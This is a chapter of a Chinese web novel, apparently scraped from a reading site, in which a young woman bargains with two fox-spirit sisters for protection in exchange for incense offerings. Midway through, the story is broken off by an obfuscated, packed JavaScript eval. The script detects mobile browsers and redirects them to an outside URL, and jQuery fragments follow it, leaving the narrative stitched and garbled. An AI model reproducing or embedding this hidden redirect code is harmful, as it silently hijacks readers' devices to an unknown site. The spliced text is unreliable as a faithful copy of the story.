“这事儿咱们先放放。”谢欣怡抬手拦下沈汐越挨越近的脸,“说句老实话,”不过以对方狐狸的本性可能不会如实讲述,“你们是不是来过我梦里?今天早上还来车里给我添堵来着?”
气氛陷入半刻沉寂,或许也没有这么久,确实如谢欣怡所料,狐狸的厚脸皮哪儿会认下这个。
“这位客官您在说什么,我不知道呢。”沈汐腆着脸又上前一步,手往袖子里掏掏找找,“但我可以给客官讲讲这次援助所需的费用呢。”
……完了,遇上强买强卖的了,现在跑还来得及吗?谢欣怡没想到还能有这么一出,向后迈出半步准备逃跑。
“跑是不可能了。”沈垚把一脸奸商相的妹妹推去一旁,相同的脸露出与之不同的郑重表情,“谢姑娘你猜得没错,这些都是我们干的。你也该清楚自己对我们有多大的吸引力,不然也就没今天这一出了,不是吗?”她顿了顿,看到谢欣怡坦诚地点点头继续说,“没有一个精怪、鬼怪不会对你有所图,但与虎谋皮不如与我们方便。”
……不是,怎么又说到与虎谋皮了?谢欣怡满脸疑惑,她身边哪儿来的老虎?
话是这么说,但徐桓的脸从脑海里一闪而过,这家伙好像确实算一个……
“看你那表情是想到什么了吧?成天跟鬼打交道就是在与虎谋皮,还是跟一群男鬼打交道。”沈汐从谢欣怡身后一把搂住,下巴垫在她肩上摇头感慨,“没听过采阳补阴吗?小心被吸成人干。”
谢欣怡差点没被沈汐的话呛着,猛咳一声,脸瞬间烫了起来。
什么采阳补阴!不要乱讲话啊!她在心中大喊大叫。这种没溜的话也就狐狸能说出来了!
越想越烧得慌,谢欣怡慢慢握紧拳头真想给沈汐一拳,她像纵.欲的人吗!呸呸呸,乱想什么呢,不能被带偏。
“你们是不是误会什么了?”谢欣怡错开一步,挣脱开沈汐的搂抱举起小灯笼驱退这俩狐狸,面露不悦,“我跟徐桓他们是供奉关系,我提供食物和香火,而他们则保我平安。”
这个回答让眼前的二人微微一愣,她们对视一眼都从对方眼中看到疑惑,沈汐更甚,抬起一边眉毛直往谢欣怡身上瞥。
本人还在旁边看着呢,沈垚抬起巴掌威胁妹妹禁止乱想,看妹妹贱兮兮地往旁边躲才指着谢欣怡身上的几处再次开口:“不是我们不信,实在是你的能量一直在被汲取着,肩膀上是旧印记,但胳膊上、手上、肚子还有脚腕处都有新的印记。”
这个回答让人万万没想到,难怪会有那种离谱的误会,这几个地方是有些暧昧。谢欣怡脸上微微一烧,她想了想家里那几个虽然各有劣处,但都不是背人做事的性子,还能是谁神不知鬼不觉?
她再次看向沈垚指点的地方,手、胳膊、肚子、脚腕……她左左右右,上上下下看了一遍,突然意识到什么,这些连起来不就是盘腿摸猫的姿势?
答案揭晓,是小黑。原来小黑猫每次的亲近都是别有目的,这个发现让谢欣怡有些沮丧,不是她本身吸引猫,而是真·被猫吸。
不过想要养小黑猫的心愈发强烈,给这只小鬼猫一个家不用再偷偷摸摸蹭她的能量吃。她相信只要供奉、香火摆上桌它肯定能被引家里来成为她的家猫。
沈汐看谢欣怡恍然大悟的样子,眼眉弯弯,贱兮兮地往前凑:“怎么样,是不是说中啦?”
谢欣怡毫不留情给了她面门一手刀:“是只猫。”
“是的,是的,是只偷.腥小猫。”沈汐点点头,一副我懂的表情。
这天儿没法聊了。
谢欣怡把呼呼招出来准备回去了,靠人不如靠己,再者说,靠两只狐狸更不靠谱。
没想到人说走就走,眼看到嘴的肥肉就要飞了,沈垚把妹妹踹去一旁伸手想要拦人:“谢姑娘您请慢,有话好说。”
谢欣怡才不理会,等人走了才用尊称,这俩人也是真不会做买卖。
“哦对。”该说的忘了说,谢欣怡还是停了半刻回过身来,“今天谢谢你们。”
没想到会听到道谢的话,沈家姐妹有些怔愣,上次被谢是什么时候的事来着?太久了有些忘了。
当一件事成了稀疏平常,人们就会忘记感恩,忘记曾经的约定,只有因着约定而被牢牢束缚在原地的守护者还在任劳任怨的遵守誓言,直到被彻底放逐。
“有时候我都觉得老祖宗太一根筋了,比人类还傻。”沈汐冷不丁冒出一句。
这次沈垚没有反驳,只是看着谢欣怡远去的背影默默攥紧拳。
“不能放她走。”她撂下一句追了上去,“谢姑娘,你们还要待几天?黄家的不知道还会不会暗中捣鬼,给点能量和供品我们能护你几天周全。”
“不了不了,不必不必,我们明天就走。”谢欣怡拒绝三连,加快了脚上的速度,她今天不想再看见任何精怪了。
沈汐没有姐姐的执着劲儿,她原地盘腿一坐,等着姐姐铩羽而归。
月亮从头顶慢慢向下走,沈汐托着的脑袋一点一点地打着瞌睡,沙沙而来的,急匆匆的脚步惊扰了瞌睡虫,她直起身,睁开迷蒙的眼眨了眨。奇怪,那个谢欣怡怎么回来了?她揉揉眼再仔细看,确实是回来了,姐姐就在后面跟着呢。
谢欣怡也想知道自己怎么回来了,明明走的是直线,又有呼呼开道,可就是鬼打墙地又走了回来。呼呼同样犯懵,前看看后看看,确实被俩姐妹夹击了。
“声明啊,”沈汐对脸色难看的人抬手辩解,“我一直坐在这里没动,是你自己走回来的。”
谢欣怡把矛头指向身后的沈垚,不是妹妹在捣鬼就是姐姐了!
“也不是我。”沈垚举双手投降,“应该是灰家留下的术法还没破。”
罪魁祸首早跑没影了,谢欣怡只能面对现实:“我怎么才能回去?”
“现在给我们供奉香火。”沈垚秒答。
“……在这儿等着我呢?”
“我们是真办不到,不然你以为我们为什么全靠拳打脚踢。”
谢欣怡眨眨眼,这点是真没想到,原来不是她们不想,而是办不到。
“行,”她退让一步,这俩今天是必须得供了,“来谈谈价格吧。”
“爽快!”谈这个沈汐可就不困了,她原地蹦起掸掸裤子上的土,“也不多,一次三根香就行,讲究一个心诚。谢家大妹子咱们打个商量呗,你要知道对我们精怪来讲香火多多,好处多多,对供奉人同样如此,所以供上我们受益匪浅哟。”
谢欣怡看她眉飞色舞讲述香火益处的模样,想起徐桓也说过类似的话,香火还真是了不得的东西。
“供奉你们能让我财运亨通吗?”她试探一问。
“少做梦,我们只能是助力。”沈汐从袖子里掏出三炷香,一改刚才的奸商样,换上准备吃下待宰羔羊的无赖样,“如果有谁说能让你自此不为钱财发愁,不用想,全是歪门邪道。”
谢欣怡点点头,徐桓也说过什么偏门的事,具体也是他去搞黑钱。沾不得,沾不得。
“你缺钱吗?”沈垚的视线在谢欣怡身上扫视,要说没钱也不像,只是单纯穿得土气,不过如果真的缺钱,确实是一个突破口。
已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366228|190957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燃起香,正准备插在沈汐从百宝袖里掏出的香炉上郑重拜拜的人回头看向沈垚:“钱肯定是不嫌多嘛,但不义之财我可不要,现在赚的仨瓜俩枣够活。”
少见。这个回答让沈垚打心底里觉得谢欣怡还挺可爱的。
说到不嫌多的时候,眼前的人类女孩眼睛亮亮的,有种想当一个坐在钱币堆里数钱的吞金兽的感觉,而说到仨瓜俩枣够活的时候又是一种对现在生活知足的幸福感。她有自己的小贪心,更多的是知足常乐。
或许曾经的先祖也是遇到了这样的人类,只是子孙后代被养大了胃口,露出了丑恶的面孔。沈垚在心中感慨。
心里的想法刚落地,一股蓬勃的暖意随着三炷香插入香炉的瞬间从脚底蔓延至全身,体内干枯的脉络贪婪地吸收着,以肉眼可见的速度膨胀,不断将这股几乎能将人撑爆的能量转化为滋养自身的力量。
沈垚看向同样震惊的沈汐,她们几乎快要忘记上次拥有这般能力是何时,只是一个人的供奉竟然就能恢复得七七八八。难怪,难怪!难怪谢欣怡如此重要,她就是精怪、鬼怪补充能量的人形能量库。
沈汐对姐姐挤挤眼,示意她走过路过不要错过,现在掳回去还来得及。
沈垚摇摇头,她认为对谢欣怡释放善意能获得的不只是现在这点,不能因小失大。
刚走完流程的人不知道另两人私下的暗涌,还在心里期盼自己没有做无用功。
谢欣怡直起身看向这两姐妹:“怎样?能带我回去了吗?”
“绰绰有余!”
“能。”
沈家姐妹异口同声。
“不过你确定要穿着这一身回去吗?”沈垚补充一句,指着谢欣怡身上已经破破烂烂的红嫁衣。
谢欣怡一低头,暗骂一声:“你们怎么不提醒我还穿着这身!”
两姐妹对视一眼,理直气壮地回道:“还以为你喜欢呢。”
喜欢个屁。谢欣怡把脱下的喜服狠狠甩在地上。
.
“啊?那个四方小土庙就是你们的啊?”
暂时恢复能力的两姐妹轻松破解了灰家留下的重重陷阱,找回了正确的路。回村的路上三人的气氛比刚才轻松了些,因着沈汐活泼的性子谢欣怡也愿意跟她们聊上几句,借此知道了她们会来救自己的原因,没想到那个破破的小庙供奉的会是狐仙。
“啥?你不知道啊?”沈汐一脸震惊,“看你看到我们一点都不惊讶的样子,我还以为你早知道了呢。”
这上哪儿知道去。谢欣怡只把那里当个心里安慰根本没往心里去,没想到真请来了助力。
“念在是你第一次进供,以后这点可不行了。”沈汐在谢欣怡眼前竖起食指晃了晃,“真抠门。”
“你还想有下次啊?”谢欣怡可不想了,一次得了。
“偶尔供奉点食物也无伤大雅吧?”沈垚见缝插针。
“能让我下月涨工资吗?”
“这不可能。”
“不再受到骚扰呢?”
“山高皇帝远。”
什么呀,连饼都不给画的。
“你们就这么缺供奉吗?”谢欣怡有些想不明白,区区供奉对于狐狸来讲不是手到擒来?
“缺啊,可太缺了。”沈汐揪起路边的狗尾草在谢欣怡面前乱晃,“供奉的食物对我们是大补,而且吧,”她撵着狗尾草任由在指尖转动,弯起的眼眉中露出向往,“你们人类的食物比我们的好吃多了,烤鸡、烧鹅、铁锅炖,年菜、卤味、大杂烩。”
不用猜,这小狐狸已经在心里流口水了。